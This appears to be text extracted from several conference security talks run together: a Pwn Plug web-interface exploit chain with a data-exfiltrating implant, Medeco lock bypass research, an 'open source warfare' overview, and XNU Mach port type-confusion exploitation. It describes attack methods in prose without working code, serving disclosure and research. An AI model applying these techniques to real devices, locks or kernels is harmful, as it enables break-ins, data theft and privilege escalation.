•plugui/Pwnix UI - Web interface for
commercial version of the Pwn Plug
Boring, but with their
powers combined...
XSS
CSRF
Command
Injection
(in a privileged interface)
Boring, but with their
powers combined...
XSS
CSRF
Command
Injection
(in a privileged interface)
Injected with
a packet
Boring, but with their
powers combined...
XSS
CSRF
Command
Injection
(in a privileged interface)
Injected with
a packet
Payload
Calls...
Boring, but with their
powers combined...
XSS
CSRF
Command
Injection
(in a privileged interface)
Injected with
a packet
Payload
Calls...
Submits...
Boring, but with their
powers combined...
XSS
CSRF
Command
Injection
(in a privileged interface)
Injected with
a packet
Payload
Calls...
Submits...
We get remote root!
(In some pretty realistic circumstances)
Payload to exploit packet
XSS in Passive Recon Page
passes regexp to get to page
XSS in Passive Recon Page
passes regexp to get to page
XSS Payload
CSRF in the SSH tunnel page
passes regexp to get to page
XSS Payload
CSRF’ing a form submission
Command Injection in SSH tunnel script
passes regexp to get to page
XSS Payload
CSRF’ing a form submission
Command injection
What do we run?
•My PoC “malware”, pwnmon
Cleans up after exploit
Installs self
Sets up persistence
Disables bash history clearing
Phones home for more code
Every so often gathers:
- Process list
- Command history
- File listing
- Network interfaces
- Network connections
- All log files & results
Wraps it up and sends it to
your FTP server.
Demo
All the filez you need on the DVD
+ a floor-model Pwn Plug from the Vendor Area
(or an unsuspecting friend’s)
Conclusions
•Attacker-implanted devices can provide good
counter-intel info for organizations
•For pentesters:
•Know your tools, test your tools, use them safely
•Monitor carefully and clean up
•For people who break things:
•Pentesting tools make great targets
Join me in the Q&A room for
questions and discussion | pdf |
Open in 30 Seconds
Cracking One of the
Most Secure Locks in America
Marc Weber Tobias
Matt Fiddler
LOCKS, LIES, and “HIGH”
INSECURITY
• Dominant high security lock maker
• 40 year history of security
• Many expert attempts to crack with limited
success, complicated tools
• Misstatements and disinformation
• 18 month research project results:
A Total compromise of security
MEDECO HIGH SECURITY:
• UL, BHMA / ANSI, VdS Certified
• High level of protection against attack
• Picking: 10-15 minute resistance
• No bumping
• Forced Entry: 5 minutes, minimum
• Key control
– Protect restricted and proprietary keyways
– Stop duplication, replication, simulation of keys
HIGH SECURITY LOCKS:
• Protect Critical Infrastructure, high
value targets
• Stringent security requirements
• High security Standards
• Threat level is higher
• Protect against Forced, Covert entry
• Protect keys from compromise
MEDECO HISTORY
• Dominant high security lock maker in U.S.
• Owns 70+ Percent of U.S. high security
market for commercial and government
• Major government contracts
• In UK, France, Europe, South America
• Relied upon for highest security everywhere
• Considered almost invincible by experts
WHY THE MEDECO CASE
STUDY IS IMPORTANT
• Insight into design of high security locks
• Patents are no assurance of security
• Appearance of security v. Real World
• Undue reliance on Standards
• Manufacturer knowledge and
Representations
• Methodology of attack
• More secure lock designs
CONVENTIONAL v.
HIGH SECURITY LOCKS
• CONVENTIONAL CYLINDERS
– Easy to pick and bump open
– No key control
– Limited forced entry resistance
• HIGH SECURITY CYLINDERS
– UL and BHMA/ANSI Standards
– Higher quality and tolerances
– Resistance to Forced and Covert Entry
– Key control
ATTACK METHODOLOGY
• Assume and believe nothing
• Ignore the experts
• Think “out of the box”
• Consider prior methods of attack
• Always believe there is a vulnerability
• WORK THE PROBLEM
– Consider all aspects and design parameters
– Do not exclude any solution
HIGH SECURITY LOCKS:
Critical Design Issues
• Multiple security layers
• More than one point of failure
• Each security layer is independent
• Security layers operate in parallel
• Difficult to derive intelligence about a
layer
HIGH SECURITY:
Three Critical Design Factors
• Resistance against forced entry
• Resistance against covert and
surreptitious entry
• Key control and “key security”
Vulnerabilities exist for each requirement
BYPASS AND REVERSE
ENGINEERING
• Weakest link in lock to bypass (Medeco)
• What locks the lock?
• What locking elements lock and in what
order. Is there a primary element to bypass?
• Result if one layer fails: Can others be
compromised?
• What intelligence needed to open the lock?
• Can Intelligence be simulated?
SYSTEM BYPASS
• How strong is the sidebar(s) against
forced attack
• Is the sidebar the only locking system?
• What if defeat one of two sidebars or
security layers?
• Bitting design: spring biased?
• Ability to manipulate each pin or slider
to set its code?
SECONDARY SECURITY
LAYERS
• Telescoping pins
• Sliders and wafers
• Sliders to set sidebars: Medeco
• Pseudo-sidebars = virtual keyways
• Sidebars
– Most popular
– Originated in America with GM locks
– Many locking techniques
LAYERS OF SECURITY
AND BYPASS CAPABILITY
• How many
• Ability to exploit design feature?
• Integrated
• Separate
– Primus = 2 levels, independent, complex locking
of secondary finger pins
– Assa = 2 levels, independent, simple locking, one
level
EXPLOITING
FEATURES
• Codes: design, progression
• Key bitting design
• Tolerances
• Keying rules
– Medeco master and non-master key systems
• Interaction of critical components and locking
systems
• Keyway and plug design
EXPLOITING
TOLERANCES
• Sidebar locking: Medeco 10 v. 20 degree
• Relation to codes
• Simulation of codes: Medeco
• Reverse engineer code progression of
system from one or more keys?
– Master key conventional v. positional system
– Difficulty = replication of keys
– Medeco v. MCS as example
ATTACKS:
Two Primary Rules
• “The Key never unlocks the lock”
– Mechanical bypass
• Alfred C. Hobbs: “If you can feel one
component against the other, you can
derive information and open the lock.”
METHODS OF ATTACK:
High Security Locks
• Picking and manipulation of components
• Impressioning
• Bumping
• Vibration and shock
• Shim wire decoding (Bluzmanis and Falle)
• Borescope and Otoscope decoding
• Direct or indirect measurement of critical
locking components
ADDITIONAL METHODS OF
ATTACK
• Split key, use sidebar portion to set
code
• Simulate sidebar code
• Use of key to probe depths and
extrapolate
• Rights amplification of key
KEY CONTROL
• High security requirement
KEY CONTROL and “KEY
SECURITY”
• Duplicate
• Replicate
• Simulate
“Key control” and “Key Security” may not
be synonymous!
KEY SECURITY: A Concept
• Key control = physical control of keys
• Prevent manufacture and access to blanks
• Control generation of keys by code
• Patent protection
• Key security = compromise of keys
– Duplication
– Replication
– Simulation
KEYS: CRITICAL ELEMENTS
• Length = number of pins/sliders/disks
• Height of blade = depth increments = differs
• Thickness of blade = keyway design
• Paracentric design
• Keyway modification to accommodate other
security elements
– Finger pins
– Sliders
KEY CONTROL:
Critical issues
• Simulation of code or key components
• Security of locks = key control and key
security
– All bypass techniques simulate actions of
key
– Easiest way to open a lock is with the key
KEY CONTROL and “KEY
SECURITY” ISSUES
• Most keys are passive: align = open
• Simulate components of key
• Replicate critical components
• Duplicate critical components
• Require interactive element for security
– MUL-T-LOCK element
– BiLock-NG, Everest Check Pins
– MCS magnets
KEY CONTROL:
Design Issues
• Bitting design
• Bitting and sidebar issues and conflicts and
limitations in differs
• Ability to decode one or more keys to break
system
• Consider critical elements of the key: require
to insure cannot be replicated
• Hybrid attacks using keys
– Medeco mortise cylinder example
DUPLICATION AND
REPLICATION OF KEYS
• Key machine
• Milling machine: Easy Entrie
• Clay and Silicone casting
• Key simulation: Medeco
• Rights amplification
• Alter similar keys
COVERT and FORCED
ENTRY RESISTANCE
• High security requirement
STANDARDS
REQUIREMENTS
• UL and BHMA/ANSI STANDARDS
• TIME is critical factor
– Ten or fifteen minutes
– Depends on security rating
• Type of tools that can be used
• Must resist picking and manipulation
• Standards do not contemplate or
incorporate more sophisticated methods
CONVENTIONAL PICKING
TOBIAS DECODER:
“[email protected]”
SOPHISTICATED
DECODERS
• John Falle: Wire Shim Decoder
DECODE PIN ANGLES
FORCED ENTRY
RESISTANCE
FORCED ENTRY ATTACKS:
Deficiencies in standards
• Many types of attacks defined
• Mechanical Bypass - Not Contemplated
• Must examine weakest links
• Do not cover “hybrid attacks”
– Medeco deadbolt attacks
– Medeco mortise attack
SIDEBAR:
Bypass and Circumvention
• Direct Access
– Decoding attacks
– Manipulation
– Simulate the sidebar code (Medeco)
– Use of a key (Primus and Assa)
• Indirect access
– Medeco borescope and otoscope decode
issues
SIDEBAR ATTACK:
Physical Strength
• Independent protection
• Integrated with pin tumblers or other
critical locking components
• Plug Compression
• Defeat of sidebar as one security layer:
result and failures
• Anti-drill protection
FORCED ENTRY ATTACKS
• Direct compromise of critical components
– Medeco deadbolt 1 and 2 manipulate tailpiece
• Hybrid attack: two different modes
– Medeco reverse picking
• Defeat of one security layer: result
– Medeco Mortise and rim cylinders, defeat shear
line
MEDECO HIGH SECURITY:
Lessons to be learned
• What constitutes security
• Lessons for design engineers
• Appearance v. reality
MEDECO CASE HISTORY
• Exploited vulnerabilities
• Reverse engineer sidebar codes
• Analyze what constitutes security
• Analyze critical tolerances
• Analyze key control issues
• Analyze design enhancements for new
generations of locks: Biaxial and m3
and Bilevel
MEDECO MISTAKES
• Failed to listen
• Embedded design problems from beginning
• Compounded problems with new designs
with two new generations: Biaxial and m3
• Failed to “connect the dots”
• Failure of imagination
• Lack of understanding of bypass techniques
DESIGN =
VULNERABILITIES
• Basic design: sidebar legs + gates
– How they work: leg + gate interface
– Tolerance of gates
• Biaxial code designation
• Biaxial pin design: aft position decoding
• M3 slider: geometry
• M3 keyway design
• Deadbolt design
MEDECO DESIGN:
Exploit design vulnerabilities
• EXPLOIT BEST DESIGN FEATURES
• Sidebar leg – true gate channel
• Code assignment: Biaxial 1985
• Gate – sidebar leg tolerance
• M3 design 2003
– Widen keyway .007”
– Slider geometry, .040” offset
MEDECO DESIGNS:
More vulnerabilities
• Biaxial pin design: fore and aft positions
• Borescope decode of aft angles
• Introduction of Bilevel in 2006
• Compromise by decoding
MEDECO TIMELINE
• 1970 Original Lock introduced
• 1985 Biaxial, Second generation
• 2003 m3 Third generation
August 2006: Bump Proof
Feb 2007:Virtually BumpProof
2008:
MEDECO LOCKS:
Why are they Secure?
• 2 shear lines and sidebar for Biaxial
• 3 independent security layers: m3
• Pins = 3 rotation angles, 6 permutations
• Physical pin manipulation difficult
• False gates and mushroom pins
• ARX special anti-pick pins
• High tolerance
MODERN PIN TUMBLER
MEDECO BIAXIAL
MEDECO LOCKS:
3 Independent Layers
• Layer 1: PIN TUMBLERS to shear line
• Layer 2: SIDEBAR: 3 angles x 2 positions
• Layer 3: SLIDER – 26 positions
Opened By;
Lifting the pins to shear line
Rotating each pin individually
Moving the slider to correct position
MEDECO TWISTING PINS:
3 Angles + 2 Positions
MEDECO ROTATING
TUMBLER
SIDEBAR Technology
• Block rotation of the plug
• One or two sidebars
• Primary or secondary locking
• Only shear line or secondary
• Integrated or separate systems
– Assa, Primus , MT5 (M5), MCS= split
– Medeco and 3KS = integrated
• Direct or indirect relationship and access by
key bitting
SIDEBAR LOCKING:
How does it work
• One or two sidebars
• Interaction during plug rotation
• Direct or indirect block plug rotation
• Sidebar works in which modes
– Rotate left or right
– Pull or push
• Can sidebar be neutralized: i.e. Medeco
– Setting sidebar code
– Pull plug forward, not turn
SIDEBAR LOCKING
DESIGN: Information from
the lock?
• Feel picking: sense interactions
• Medeco, 3KS, Primus, Assa = direct link
• MCS = indirect link: sidebar to
component
• Sidebar + pins/sliders interaction to
block each other: ability to apply
torque?
SIDEBAR CODING
• Total number: real and theoretical
• Restrictions and conflicts
• Rules to establish
• Can we use rules to break system
– Medeco TMK multiple
– Assa V10 multiplex coding
SECURITY CONCEPTS:
Sidebar “IS” Medeco Security
• GM locks, 1935, Medeco re-invented
• Heart of Medeco security and patents
• Independent and parallel security layer
• Integrated pin: lift and rotate to align
• Sidebar blocks plug rotation
• Pins block manipulation of pins for
rotation to set angles
PLUG AND SIDEBAR:
All pins aligned
SIDEBAR RETRACTED
PLUG AND SIDEBAR: Locked
MEDECO CODEBOOK:
At the heart of security
• All locksmiths worldwide must use
• All non-master keyed systems
• New codes developed for Biaxial in
1983
• Chinese firewall: MK and Non-MK
• Codebook defines all sidebar codes
ORIGINAL
FORE
AFT
Left
L
K
M
Center
C
B
D
Right
R
Q
S
KEY CODES:
Vertical Bitting and Sidebar
• Vertical bitting = 6 depths .025”
increments
• Sidebar Pins: 3 angles, 2 positions = 6
permutations
MEDECO RESEARCH:
Results of Project
• Covert and surreptitious entry in as little as
30 seconds: standard requires 10-15 minutes
• Forced entry: four techniques, 30 seconds,
affect millions of locks
• Complete compromise of key control
– Duplication, replication, simulation of keys
– Creation of bump keys and code setting keys
– Creation of top level master keys
RESULTS OF PROJECT:
Bumping
• Reliably bump open Biaxial and m3
locks
• Produce bump keys on Medeco blanks
and simulated blanks
• Known sidebar code
• Unknown sidebar code
MEDECO BUMP KEY
RESULTS OF PROJECT:
Key Control and Key Security
• Total compromise of key control and
key security, vital to high security locks
– Duplicate, replicate, simulate keys for all
m3 and some Biaxial keyways
• Restricted keyways, proprietary keyways
• Government and large facilities affected
– Attack master key systems
– Produce bump keys
– Produce code setting keys
SIMULATED BLANKS: Any
m3 and Many Biaxial Locks
SIMULATED BLANKS
M3 SLIDER:
Bypass with a Paper clip
SECURITY OF m3:
RESULTS OF PROJECT:
Picking
• Pick the locks in as little as 30 seconds
• Standard picks, not high tech tools
• Use of another key in the system to set
the sidebar code
• Pick all pins or individual pins
• Neutralize the sidebar as security layer
PICKING A MEDECO LOCK
Video Demo:
• Picking Medeco Locks
RESULTS OF PROJECT:
Decode Top Level Master Key
• Determine the sidebar code in special
system where multiple sidebar codes
are employed to protect one or more
locks
• Decode the TMK
• PWN the system
RESULTS OF PROJECT:
Forced Entry Techniques
• Deadbolt attacks on all three versions
– Deadbolt 1 and 2: 30 seconds
– Deadbolt 3: New hybrid technique of
reverse picking
• Mortise and rim cylinders
– Prior intelligence + simulated key
• Interchangeable core locks
DEADBOLT ATTACK
DEADBOLT BYPASS: 2$
Screwdriver + $.25 materials
Video Demo:
• Deadbolt Bypass
MORTISE CYLINDER
MORTISE ATTACK
Video Demo:
• Mortise Cylinder Bypass
CONNECTING THE DOTS
• CRITICAL FAILURES
• Original Biaxial
– pin design
– code assignment
• Biaxial - m3 design
– M3 slider geometry = .040” offset
– Key simulation
– .007” keyway widening
MORE DOTS!
• FORCED ENTRY
• Original Deadbolt design
• Fatal design flaw: 30 seconds bypass
• Later deadbolt designs: new attacks
• Mortise and rim cylinders
• Inherent design problem: .065” plug
MORE DOTS:
BILEVEL LOCK
• 2007 Bilevel locks introduced
• Integrate low and high security to
compete
• Flawed design, will affect system
security when integrated into high
security system
• Borescope decoding of aft pins to
compromise security of entire system
CONNECTING THE DOTS:
The Results
• Biaxial Code assignment: Reverse
Engineer for all non-master key systems
• Gate tolerance: 4 keys to open
• NEW CONCEPT: Code Setting keys
• Sidebar leg-gate interface: NEW CONCEPT:
Setting sidebar code
• M3 Wider keyway: Simulated blanks
• Slider design: paper clip offset
4 KEYS TO THE KINGDOM
Video Demo:
• Code Setting Keys
Video Demo:
• Bump Proof…
• Virtually Bump Proof…
• Virtually Bump Resistant…
LESSONS TO BE LEARNED
• Patents do not assure security
• Apparent security v. actual security
• 40 years of invincibility means nothing
• New methods of attack
• Corporate arrogance and misrepresentation
• “If it wasn’t invented here” mentality
• All mechanical locks have vulnerabilities
COUNTERMEASURES:
Primary Design Rules
• ARX pin design
• Dual State Locking: 3KS
• Interactive key elements (MCS)
• 2 or 3 security layers
• No direct intelligence from manipulation
• Cannot defeat one layer and bypass
others
Video Demo
• Bypass…Medeco Gen4
Thank You!
[email protected]
[email protected]
© 2008 Marc Weber Tobias | pdf |
30-Jun-08
Defcon16 2008
1
Open Source Warfare
Origins
Use
Transformations
Day Three: Sunday, August 10
10:30 am
Track 3
30-Jun-08
Defcon16 2008
2
…Oh my….
What is Asymmetric Warfare
•Is it purely defensive
•Does it rely on traditional
concepts
•How does an established fighting
group use it
•Does it overlap with other
computer security issues
Gosh….
What is Open Source Warfare
•Who uses it
•Who is it used against
•Are there any defenses
•Is it successful
•Where is it used
30-Jun-08
Defcon16 2008
3
Warnings
A few things to remember:
• Although this stuff in very interesting it is used primarily
in warfare….that means people actually die
• If you think you’re smart enough to try this on your own
you are wrong! …and you could go to jail….
• Because of all this we will keep the examples simple,
well known and generic…
• Importantly, this is a value neutral technical presentation:
that means that we’ll only look at techniques and not
evaluate whether the people using these methods are
“right” or “wrong”, “justified” or “unjustified”
30-Jun-08
Defcon16 2008
4
What types of things are used in OSW
• In a funny way this is a lot like McGyver
• Almost anything can be used…toothpicks,
tin foil, matchbooks, string…..
• But on the contemporary battlefield it
depends more heavily on things like
mobile phones, microwave ovens, remote
controlled aircraft, toy robots, digital
cameras, sniffer tools
30-Jun-08
Defcon16 2008
5
Let’s look at telecommunications
• Lebanon is a good example
– You may remember a few months ago that there was
tremendous upset when the government attempted to
quash third-party telecommunications networks
– In fact, it led to major fighting in the street
– To complicate matters the country also faces a
number of external forces, Syria, Iran, Israel
– As well as a number of internal forces
30-Jun-08
Defcon16 2008
6
Let’s look at telecommunications
• So what was the problem
– Third party groups had co-opted the telecom network
set up by the government
• This was accomplished by “extending” copper networks
• Creating new optical networks
• Piggybacking on Mobile networks
– This also required technical knowledge as well as a
heavy reliance on openly available public encryption,
VOIP, chat room, message boards, anon email etc.
communication methods
– So big did this become that it pretty much became an
unsolvable issue for the government
30-Jun-08
Defcon16 2008
7
So, let’s take a look at this map
with overlays:
•First we see the regional
context
•Next lets look at the geographic
issues
•Now, the overlays of the
networks (click, click)
•Secondly, lets look at why it
was so difficult for these
networks to be eliminated
•Thirdly, lets look at why
publically available
software/hardware tools have
been so essential to the
“success or failure” of the parties
•Finally, a word about undersea
cables disruptions
COMPLETE VIEW: DEFCON ONLY
30-Jun-08
Defcon16 2008
8
Variants of this: Las Vegas
• Let’s look at the concept of triangulation
• Here’s a pretty picture of Las Vegas:
COMPLETE VIEW: DEFCON ONLY
30-Jun-08
Defcon16 2008
9
Variants of this: Las Vegas
• Now, let’s see it as a “protocol” map (click,
click)
• This is all open source!
COMPLETE VIEW: DEFCON ONLY
30-Jun-08
Defcon16 2008
10
Variants of this: Las Vegas
• How do we triangulate?
• You can run but you can’t hide
• Now let’s think of this picture as a battlefield
– We’ll add some conceptual drones
– And figure out how to target an individual or group
– Note: this is a very useful method already employed –
think in terms of sniffer networks, GPS networks, geo-
location web 2.0 tricks
• IT’S ALL ABOUT THE MATH!!!!!
30-Jun-08
Defcon16 2008
11
Open Source Platform
• Let’s take a look at OS surveillance platforms
• Here is a series of pictures of a RC helicopter
with HD cam (next slide, pics only provided live
at Defcon 16)
• Range: 2000 ft, 1 mile radius, 20 min battery life,
encrypted com link
• Price $400.00 off the shelf
• (no, I don’t have the vendors name, sorry)
30-Jun-08
Defcon16 2008
12
A quick look at OS uses in the field
• Microwaves, IEDs, and the battle space
• Robotics at Ground Zero, Sept 2001
• Defeating LED and surveillance cameras
– Quick word on a counter measures
• The mobile phone quandary
– And the jamming quandary
30-Jun-08
Defcon16 2008
13
A quick look at OS derivates
• Defcon 15 presentation regarding GPS
device hacking
– Here’s a simulation example
• Defcon 14 presentation regarding rocketry
– Here’s a simulation example
– And here is an open source example of how
model rockets utilize telemetry for guidance
– (yikes!)
30-Jun-08
Defcon16 2008
14
And Finally
•
Overview of “mass-communication”
methods meant to influence a populace
–
Prep for a pending “attack”
–
Mass influence techniques
–
Reliance upon the “hacker” community for
tools and methodology
–
Utilizing existing structures (e.g. social
networks) for influence (good or ill)
–
Setting up a “Zeitgeist” scenario for
influence
30-Jun-08
Defcon16 2008
15
Thank you
• Since this is a very brief presentation feel
free to contact me after this for any
additional input
• Thanks again!!! | pdf |
Exploitations of XNU Port Type Confusions
Tielei Wang
The background
Background of the talk
iOS 14.2, released on Nov 5,
2020, fixed an in-the-wild exploit
reported by Google Project 0.
First in-the-wild exploit since iOS 14 (?)
Safari RCE (CVE-2020-27930)
kernel info leak (CVE-2020-27950)
kernel type confusion (CVE-2020-27932)
Background of the talk
• While analyzing CVE-2020-27932, we discovered a new variant issue in the
XNU kernel - a port type confusion vulnerability
• We analyzed the root cause of the vulnerability at Zer0Con 2021, and
presented a way to gain the root privilege on macOS Big Sur on Apple
Silicon M1
• Today: share more attempts to exploit the port type confusion issue
A brief introduction of Mach ports
• XNU - X is Not Unix
• Mach
• BSD
• IOKits
A brief introduction of Mach ports
• XNU - X is Not Unix Hybrid kernel
• Mach
• BSD
• IOKits
☜
A brief introduction of Mach ports
• XNU - X is Not Unix Hybrid kernel
• Mach Microkernel
• BSD
• IOKits
☜
☜
A brief introduction of Mach ports
• XNU - X is Not Unix Hybrid kernel
• Mach Microkernel
• BSD
• IOKits
☜
☜
A fundamental design: Inter-process communication (IPC)
A brief introduction of Mach ports
• XNU - X is Not Unix Hybrid kernel
• Mach Microkernel
• BSD
• IOKits
☜
☜
A fundamental design: Inter-process communication (IPC)
Mach Port
Mach port vs UNIX file
Userspace
integer
integer
Usage
mach_msg_send
mach_msg_receive
write
read
Permissions
send right
receive right
send-once right
O_RDONLY
O_WRONLY
O_RDWR
NameSpace
per-task
per-proc
Kernel
struct ipc_port
struct fileproc
Opaque objects
task, thread, voucher…
vnode, socket, device…
Mach ports are far more complicated and powerful!
• A mach port is a kernel-maintained message queue
• multiple sender, single receiver
• Mach messages can carry both port rights, memory, and inline raw data
Body
optional
mach_msg_*_descriptor
Header
Destination
Port Rights
Memory
Inline data
☜ Transfer port send/recv rights to destination
Mach ports are far more complicated and powerful!
• While sending a message to a port, the kernel either appends the message
to the queue, or directly handles the message sent to the kernel objects
ipc_port
mach_msg_send
mach_msg_receive
ipc_mqueue
Kernel
Userspace
mach_msg_send
Kernel
Objects
ipc_mqueue_send
ipc_port at first glance
kobject
io_lock_data
ipc_port
io_references
io_bits
…
…
☜ The type info of the port
☜ The nullable kernel object behind the port
Review port’s io_bits
Review port’s io_bits
0x80000000
e.g., a regular port’s io_bits
IO_BITS_ACTIVE
Review port’s io_bits
0x8000081d
e.g., a userclient port’s io_bits
IO_BITS_ACTIVE
IO_BITS_KOBJECT
IKOT_IOKIT_CONNECT
Review port’s io_bits
0x80000825
e.g., a voucher port’s io_bits
IO_BITS_ACTIVE
IO_BITS_KOBJECT
IKOT_VOUCHER
Task
task_suspend, task_resume, task_set_exception_ports
task_get_exception_ports, thread_create
Thread
thread_set_state, thread_suspend
thread_resume
Memory
mach_vm_read, mach_vm_write
mach_vm_allocate, mach_vm_protect
IOKit
IOConnectCallMethod
Host
host_info, host_get_io_master, host_processors
Processor
processor_info, processor_control, processor_assign
Misc
Clock/voucher/semaphore
Powerful interfaces
Getting a send right to the (fake) kernel_task has been
used for a long time in jailbreak developments
Powerful interfaces
Other outdated tricks: based on ROP-based code execution
in a system service, sending the service’s task/thread ports,
or creating an IOKit userclient, and sending them back to
the attacker process
Task
task_suspend, task_resume, task_set_exception_ports
task_get_exception_ports, thread_create
Thread
thread_set_state, thread_suspend
thread_resume
Memory
mach_vm_read, mach_vm_write
mach_vm_allocate, mach_vm_protect
IOKit
IOConnectCallMethod
Host
host_info, host_get_io_master, host_processors
Processor
processor_info, processor_control, processor_assign
Misc
Clock/voucher/semaphore
The IPC, send rights, and more
☞
Task inherits the send
rights to a few special
ports from its parent.
Task
Host
I/O master
1. host_get_io_master
2. send right to I/O master
3. IOServiceGetMatchingService
IOService
4. send right to IOService object
5. IOServiceOpen
IOUserClient
6. send right to IOUserClient
7. IOConnectCallMethod
☜ Newly
created
kernel
object
Get the send rights via task_get_special_port()
The IPC, send rights, and more
☞
launch is in charge of
the bootstrap port
Task
Launchd
1. bootstrap_lookup
Service
2.send right to the service
3. IPC channel to the service
Where is the sandbox?
Task
Launchd
1. bootstrap_lookup
Service
2.send right to the service
3. IPC channel to the service
☜
Launchd should check whether
the task is allowed to talk with
the services. So how?
IPC Sandbox in Launchd
☜
The kernel adds a trailer
to indicate the auditing
information of the sender
Body
optional
mach_msg_*_descriptor
Header
Trailer
IPC Sandbox in Launchd
Inside the audit_token, launchd
can get the information including
pid/p_idversion, and then perform
a sandbox check according to pid
and p_idversion.
☜
The mach message carries a trailer
Task
Launchd
1. bootstrap_lookup
Service
2.send right to the service
3. IPC channel to the service
Kernel
(Sandbox extension)
☜
Query the kernel with
pid/p_idversion
No-more-senders (NMS) notification
Task
Host
I/O master
1. host_get_io_master
2. send right to I/O master
3. IOServiceGetMatchingService
IOService
4. send right to IOService object
5. IOServiceOpen
IOUserClient
6. send right to IOUserClient
7. IOConnectCallMethod
☜
Per-task kernel object
☜
Permanent kernel object
No-more-senders (NMS) notification
Task
Host
I/O master
1. host_get_io_master
2. send right to I/O master
3. IOServiceGetMatchingService
IOService
4. send right to IOService object
5. IOServiceOpen
IOUserClient
6. send right to IOUserClient
7. IOConnectCallMethod
☜
Per-task kernel object
☜
Permanent kernel object
Consider such a scenario: when a
task is terminated accidentally,
how to clean up the kernel objects?
No-more-senders (NMS) notification
• The kernel object can register for no-
more-senders notification
(IPC_KOBJECT_ALLOC_NSREQUEST)
• When there are no longer any tasks
which hold a send right to this kernel
object, the kernel would send the no-
more-senders notification message to the
port. As a result, the kernel can
deallocate/destroy the corresponding
kernel object.
Only the kernel can send NMS
• In the past, Ian beer found a lot of bugs due to spoofed NMS
• Now the ipc_kobject_notify only handles mach message with the kernel
tokens
The bug
https://github.com/wangtielei/Slides/blob/main/zer0con21.pdf
XNU has many optimizations to boost IPC
CVE-2020-27932
is caused by special reply ports
Special reply port
• Normally, when a thread traps into the kernel to receive mach messages,
its priority will be decreased
• Assume a higher priority thread sends a mach message to a service, and
would receive a reply latter. When receiving the reply, the thread doesn’t
want to lose its priority, because highly likely the reply is already on the
queue.
• This is how the “special reply port” comes. Receiving messages from a
special reply port should not decrease the thread priority.
How to use special reply ports?
Sample Code from XNU source code
A customized send
• Send a mach port msg_port via a complex
mach message to send_port with reply port
reply_port
• A few things to note
• msg_port is sent with
MACH_MSG_TYPE_MOVE_RECEIVE
• mach_msg uses the option
MACH_SEND_SYNC_OVERRIDE
We found a new panic while analyzing CVE-2020-27932
dst_port became inactive!
☜
send special_reply_port
to itself, use itself as
reply port
send a null port to ☞
dst_port, use
special_reply_port
as reply port
☞
receive from
dst_port
Root cause analysis
ipc_port_link_special_reply_port
ipc_kmsg_copyin_header
ipc_kmsg_copyin
mach_msg_overwrite_trap
ipc_kmsg_set_qos
ipc_port_link_special_reply_port
Root cause analysis
ipc_port_link_special_reply_port
kdata.sync_inheritor_port
…
special_reply_port
io_references
dst_port
io_bits
io_references
io_bits
Root cause analysis
The second send is very complicated, but there are
three key steps
Root cause analysis
1.
msg_port is sent with MACH_MSG_TYPE_MOVE_RECEIVE
ipc_kmsg_copyin_body
ipc_kmsg_copyin
mach_msg_overwrite_trap
ipc_kmsg_copyin_port_descriptor
ipc_object_copyin
ipc_right_copyin
special_reply_port’s ip_tempowner is set 1
Root cause analysis
2.
sending a port to itself will trigger a circularity check
the kmsg is set with MACH_MSGH_BITS_CIRCULAR
ipc_kmsg_copyin_body
ipc_kmsg_copyin
mach_msg_overwrite_trap
ipc_kmsg_copyin_port_descriptor
ipc_port_check_circularity
Root cause analysis
2.
sending a port to itself will trigger a circularity check
ipc_kmsg_destroy
ipc_kmsg_send
mach_msg_overwrite_trap
the kmsg gets destroyed due to the circularity check
Root cause analysis
3.
destroying the kmsg leads to msg_port destruction
ipc_kmsg_clean_body
ipc_kmsg_clean
ipc_kmsg_destroy
ipc_object_destroy
ipc_port_release_receive
ipc_port_destroy
ipc_port_destroy
• How to destroy the special_reply_port? There is a simplified version!
kdata.sync_inheritor_port
kdata.ip_imp_task
…
special_reply_port
io_references
dst_port
io_bits
io_references
io_bits
ip_tempowner=1
☜ kdata is a union
What happened?
• How to destroy the special_reply_port? There is a simplified version!
kdata.sync_inheritor_port
kdata.ip_imp_task
…
special_reply_port
io_references
dst_port
io_bits
io_references
io_bits
ip_tempowner=1
ipc_importance_task_release(dst_port)!
ipc_importance_task_release
A type confusion between ipc_port and ipc_importance_task_t!
Consequence of the type confusion
• ipc_importance_task_release leads to iie_bits decrement
io_references
dst_port
io_bits
iie_made
ipc_importance_task_t
iie_bits
ipc_importance_task_release(dst_port) leads to decrement of
dst_port’s io_bits
How the panic happened
IO_BITS_ACTIVE 0x80000000 /* is object alive? */
kdata.sync_inheritor_port
kdata.ip_imp_task
…
special_reply_port
io_references
dst_port
0x80000000
io_references
io_bits
ip_tempowner=0
kdata.sync_inheritor_port
kdata.ip_imp_task
…
special_reply_port
io_references
dst_port
0x80000000
io_references
io_bits
ip_tempowner=1
How the panic happened
kdata.sync_inheritor_port
kdata.ip_imp_task
…
special_reply_port
io_references
dst_port
0x7fffffff
io_references
io_bits
ip_tempowner=1
How the panic happened
destroyed by
ipc_port_destroy
io_bits decrement due
to the type confusion
kdata.sync_inheritor_port
kdata.ip_imp_task
…
special_reply_port
io_references
dst_port
0x7fffffff
io_references
io_bits
ip_tempowner=1
How the panic happened
trigger the inactive port panic
io_bits decrement due
to the type confusion
Now forget about the vulnerability,
just remember:
A short wrap-up
this piece of code will decrease dst_port’s io_bits by 1
Decrease More!
this piece of code will decrease dst_port’s io_bits from from to to.
e.g., change a voucher port to a userclient port, and use it as a userclient port
The exploits
Recall our pool
Roughly speaking, we can change port types from higher to lower, and then
confuse kernel objects from the higher to the lower
Limitations
• Some port types are not implemented in the kernel
• e.g., IKOT_XMM_*
• convert_port_to_* may have extra checks on the kernel objects to prevent
type confusions
• e.g., convert_port_to_task has the zone_id_require check for the task
object
Attack 1: (in)direct function pointers
vtable
iouserclient
retainCount
…
userLandNotificationKey
UNDReply
Callback
Lock
…
cl_service
clock
cl_ops
cl_control
Many kernel objects
contain (in)direct
function pointers
If we have a kernel object
with controllable value at
any gray offsets, we can cast
its port to the target type,
and then hijack the control
flow on pre-PAC devices.
…
ideal object
Controllable value
Controllable value
…
Attack 2: info leak via processor_info()
• convert_port_to_processor only performs a type check
Attack 2: info leak via processor_info()
• processor_info() fetches CPU information according to the cpu_id value in
the processor object (at offset 76)
Attack 2: info leak via processor_info()
• We have a perfect suitable object that has fully controllable value at offset
76 — semaphore!
…
semaphore
task_link
ref_count
+0
count
active
+72
+76
Attack 2: info leak via processor_info()
Base + arbitrary offset
Attack 3: steal IOUserClients
• In the past, a common attack path against the kernel is:
• Achieve ROP/JOP execution in a system service within a less restrictive sandbox
